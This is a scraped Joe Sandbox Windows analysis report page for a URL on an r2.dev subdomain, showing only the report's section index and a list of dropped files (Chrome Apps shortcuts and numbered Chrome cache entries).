Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Windows Analysis Report
http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html